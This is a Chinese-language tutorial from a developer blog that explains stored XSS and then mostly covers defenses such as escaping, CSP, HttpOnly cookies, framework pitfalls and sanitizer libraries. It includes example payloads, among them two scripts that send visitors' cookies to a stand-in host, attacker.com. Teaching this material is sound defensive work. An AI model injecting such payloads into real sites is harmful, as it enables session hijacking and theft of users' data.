阿里云主机折上折
  • 微信号
您当前的位置:网站首页 > 存储型 XSS(持久型)

存储型 XSS(持久型)

作者:陈川 阅读数:7666人阅读 分类: 前端安全

存储型 XSS(持久型)的基本概念

存储型 XSS 是一种恶意脚本被永久存储在目标服务器上的攻击方式。当用户访问包含这些恶意脚本的页面时,脚本会自动执行,导致攻击者可以窃取用户数据、劫持会话或进行其他恶意操作。与反射型 XSS 不同,存储型 XSS 的危害更持久,影响范围更广。

典型的存储型 XSS 攻击场景包括论坛评论、用户资料、商品评价等用户可以提交内容并持久化存储的地方。攻击者提交包含恶意脚本的内容后,所有访问该页面的用户都会受到影响。

存储型 XSS 的工作原理

存储型 XSS 攻击通常遵循以下流程:

  1. 攻击者发现网站存在未过滤用户输入的存储功能
  2. 攻击者提交包含恶意脚本的内容(如 <script>alert('XSS')</script>
  3. 服务器将这段内容存储在数据库中
  4. 当其他用户访问包含该内容的页面时,恶意脚本从服务器加载并执行
  5. 脚本在受害者浏览器中运行,可能窃取 cookie、会话令牌等敏感信息
// 一个简单的存储型 XSS 示例
// 假设这是服务器端存储用户评论的代码
function saveComment(comment) {
  // 危险:直接存储未处理的用户输入
  database.save({
    content: comment,
    createdAt: new Date()
  });
}

// 攻击者提交的恶意评论
const maliciousComment = `<img src="x" onerror="stealCookies()">`;
saveComment(maliciousComment);

常见的存储型 XSS 攻击载体

存储型 XSS 可以通过多种 HTML 元素和属性实现:

  1. <script> 标签直接执行 JavaScript
  2. <img> 标签的 onerror 事件处理器
  3. <a> 标签的 href 属性(javascript: 伪协议)
  4. <div> 等元素的 style 属性(expression() 等)
  5. <iframe> 标签加载外部恶意内容
<!-- 多种存储型 XSS 攻击示例 -->
<script>alert('XSS 1')</script>
<img src="invalid" onerror="alert('XSS 2')">
<a href="javascript:alert('XSS 3')">点击我</a>
<div style="background-image: url(javascript:alert('XSS 4'))"></div>
<iframe src="data:text/html,<script>alert('XSS 5')</script>"></iframe>

存储型 XSS 的危害

存储型 XSS 可能造成多方面危害:

  1. 会话劫持:窃取用户的会话 cookie,冒充用户身份
  2. 敏感信息泄露:获取用户隐私数据,如姓名、地址、支付信息
  3. 网站篡改:修改页面内容,插入虚假信息或恶意链接
  4. 恶意软件分发:引导用户下载并安装恶意软件
  5. 键盘记录:记录用户在页面上的输入,包括密码等敏感信息
// 一个窃取 cookie 的 XSS 攻击示例
const maliciousScript = `
  var img = new Image();
  img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
  document.body.appendChild(img);
`;
// 这段代码会将用户的 cookie 发送到攻击者的服务器

防御存储型 XSS 的策略

输入过滤与验证

对所有用户输入进行严格的过滤和验证:

  1. 使用白名单机制,只允许特定的 HTML 标签和属性
  2. 过滤或转义特殊字符(<, >, ", ', & 等)
  3. 验证输入内容是否符合预期格式(如邮箱、电话号码等)
// 简单的输入过滤函数示例
function sanitizeInput(input) {
  return input
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#x27;");
}

输出编码

在将用户提供的内容输出到页面时进行适当的编码:

  1. HTML 上下文使用 HTML 实体编码
  2. JavaScript 上下文使用 JavaScript 编码
  3. URL 上下文使用 URL 编码
  4. CSS 上下文使用 CSS 编码
// 不同上下文的编码示例
function htmlEncode(str) {
  return str
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;");
}

function jsEncode(str) {
  return str
    .replace(/\\/g, "\\\\")
    .replace(/'/g, "\\'")
    .replace(/"/g, '\\"');
}

使用内容安全策略 (CSP)

通过 CSP 头限制可以执行的脚本来源:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'

这个策略表示:

  • 默认只允许从同源加载资源
  • 脚本只能从同源或 https://trusted.cdn.com 加载
  • 禁止所有插件(object-src 'none')

安全的 Cookie 设置

为 cookie 设置 HttpOnly 和 Secure 标志:

Set-Cookie: sessionid=12345; HttpOnly; Secure; SameSite=Strict

这样设置可以:

  • 防止 JavaScript 通过 document.cookie 访问 cookie(HttpOnly)
  • 确保 cookie 只通过 HTTPS 传输(Secure)
  • 限制 cookie 只能在同一站点发送(SameSite)

现代前端框架中的 XSS 防护

现代前端框架如 React、Vue 和 Angular 提供了一定程度的 XSS 防护:

React 的防护机制

React 会自动转义所有在 JSX 中嵌入的值:

// React 会自动转义用户输入
const userInput = "<script>alert('XSS')</script>";
return <div>{userInput}</div>; // 输出会被转义为文本

但需要注意 dangerouslySetInnerHTML 的使用:

// 危险:可能引入 XSS
const userInput = "<img onerror='alert(\"XSS\")' src='invalid' />";
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;

Vue 的防护机制

Vue 的模板语法和文本插值也会自动转义:

<!-- Vue 自动转义用户输入 -->
<div>{{ userInput }}</div>

使用 v-html 指令时需要谨慎:

<!-- 危险:可能引入 XSS -->
<div v-html="userInput"></div>

Angular 的防护机制

Angular 默认对所有插值进行转义:

<!-- Angular 自动转义用户输入 -->
<div>{{userInput}}</div>

使用 [innerHTML] 绑定时需要特别小心:

<!-- 危险:可能引入 XSS -->
<div [innerHTML]="userInput"></div>

服务器端防御措施

使用专业的清理库

不要自己编写过滤逻辑,使用成熟的库:

  • Node.js: DOMPurify, xss
  • PHP: htmlspecialchars, HTML Purifier
  • Python: bleach
  • Java: OWASP Java Encoder, Jsoup
// 使用 DOMPurify 清理 HTML
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href', 'title']
});

数据库层面的防护

  1. 将用户输入作为参数化查询的参数,而不是直接拼接 SQL
  2. 对存储的内容进行标记,区分纯文本和 HTML
  3. 定期扫描数据库中的可疑内容
// 危险的 SQL 拼接
const query = `INSERT INTO comments (content) VALUES ('${userInput}')`;

// 安全的参数化查询
const query = 'INSERT INTO comments (content) VALUES (?)';
db.execute(query, [userInput]);

实际案例分析

案例一:社交媒体平台的 XSS 攻击

某社交媒体平台允许用户在个人简介中使用有限的 HTML。攻击者发现平台没有正确过滤 style 属性,提交了以下简介:

<div style="background-image: url('javascript:alert(\"XSS\")')"></div>

当其他用户查看攻击者的个人资料时,恶意代码被执行。平台最终通过以下方式修复:

  1. 严格限制允许的 HTML 标签和属性
  2. 实现 CSP 策略限制内联 JavaScript
  3. 对现有用户内容进行批量清理

案例二:电子商务网站的评价系统

某电子商务网站的产品评价系统存在存储型 XSS 漏洞。攻击者在产品评价中插入:

<script>
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({
    cookie: document.cookie,
    page: location.href
  })
});
</script>

这段代码将访问者的 cookie 和当前页面 URL 发送到攻击者的服务器。网站修复措施包括:

  1. 完全禁止评价中的 HTML 标签
  2. 将现有评价中的 HTML 标签转换为纯文本
  3. 为所有 cookie 添加 HttpOnly 标志

自动化检测与持续防护

自动化扫描工具

  1. 静态应用安全测试 (SAST):分析源代码寻找潜在漏洞
  2. 动态应用安全测试 (DAST):模拟攻击测试运行中的应用
  3. 交互式应用安全测试 (IAST):结合运行时分析和静态分析

常用工具:

  • OWASP ZAP
  • Burp Suite
  • Acunetix
  • SonarQube

安全编码实践

  1. 对所有用户输入持怀疑态度
  2. 实施最小权限原则
  3. 定期进行安全培训
  4. 建立代码审查流程,特别关注安全相关代码
  5. 保持所有依赖项更新,及时修补已知漏洞
// 安全编码示例:使用模板引擎自动转义
const template = Handlebars.compile('<div>{{content}}</div>');
const safeOutput = template({ content: userInput }); // 自动转义

浏览器安全机制与 XSS 防护

现代浏览器提供多种内置安全功能:

  1. X-XSS-Protection:已弃用,曾用于启用浏览器内置的 XSS 过滤器
  2. Trusted Types:限制危险的 DOM API,强制进行内容清理
  3. Subresource Integrity (SRI):确保加载的外部资源未被篡改
<!-- 启用 Trusted Types 策略 -->
Content-Security-Policy: require-trusted-types-for 'script'
// 使用 Trusted Types
if (window.trustedTypes && window.trustedTypes.createPolicy) {
  const escapePolicy = trustedTypes.createPolicy('escapePolicy', {
    createHTML: str => str.replace(/</g, '&lt;').replace(/>/g, '&gt;')
  });
  
  element.innerHTML = escapePolicy.createHTML(userInput);
}

应急响应与漏洞修复

发现存储型 XSS 漏洞后的应对步骤:

  1. 确认漏洞:验证漏洞是否存在及其影响范围
  2. 临时缓解:可能的话禁用相关功能或添加额外过滤
  3. 修复漏洞:实施适当的输入过滤和输出编码
  4. 清理恶意内容:从数据库中删除或清理恶意代码
  5. 通知用户:如果敏感信息可能泄露,通知受影响用户
  6. 事后分析:审查漏洞原因,改进开发流程
// 数据库清理脚本示例(Node.js)
async function cleanXSSInDatabase() {
  const comments = await Comment.find({});
  
  for (const comment of comments) {
    const cleanContent = DOMPurify.sanitize(comment.content);
    if (cleanContent !== comment.content) {
      comment.content = cleanContent;
      await comment.save();
    }
  }
}

开发者常见误区

  1. 前端过滤足够:实际上攻击者可以直接向后端发送恶意数据
  2. 只过滤 <script> 标签:XSS 可以通过多种 HTML 元素和属性实现
  3. 依赖黑名单:应该使用白名单机制,因为攻击方式不断演变
  4. 忽略非主流浏览器:某些旧版或特殊浏览器可能有不同的解析行为
  5. 忽视第三方库:即使使用框架,不当使用 API 仍可能导致漏洞
// 错误的黑名单过滤示例
function naiveFilter(input) {
  // 只过滤 <script> 是不够的
  return input.replace(/<script>/gi, '');
}

// 攻击者可以轻松绕过
const attackString = "<img src='x' onerror='maliciousCode()'>";

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

前端川

前端川,陈川的代码茶馆🍵,专治各种不服的Bug退散符💻,日常贩卖秃头警告级的开发心得🛠️,附赠一行代码笑十年的摸鱼宝典🐟,偶尔掉落咖啡杯里泡开的像素级浪漫☕。‌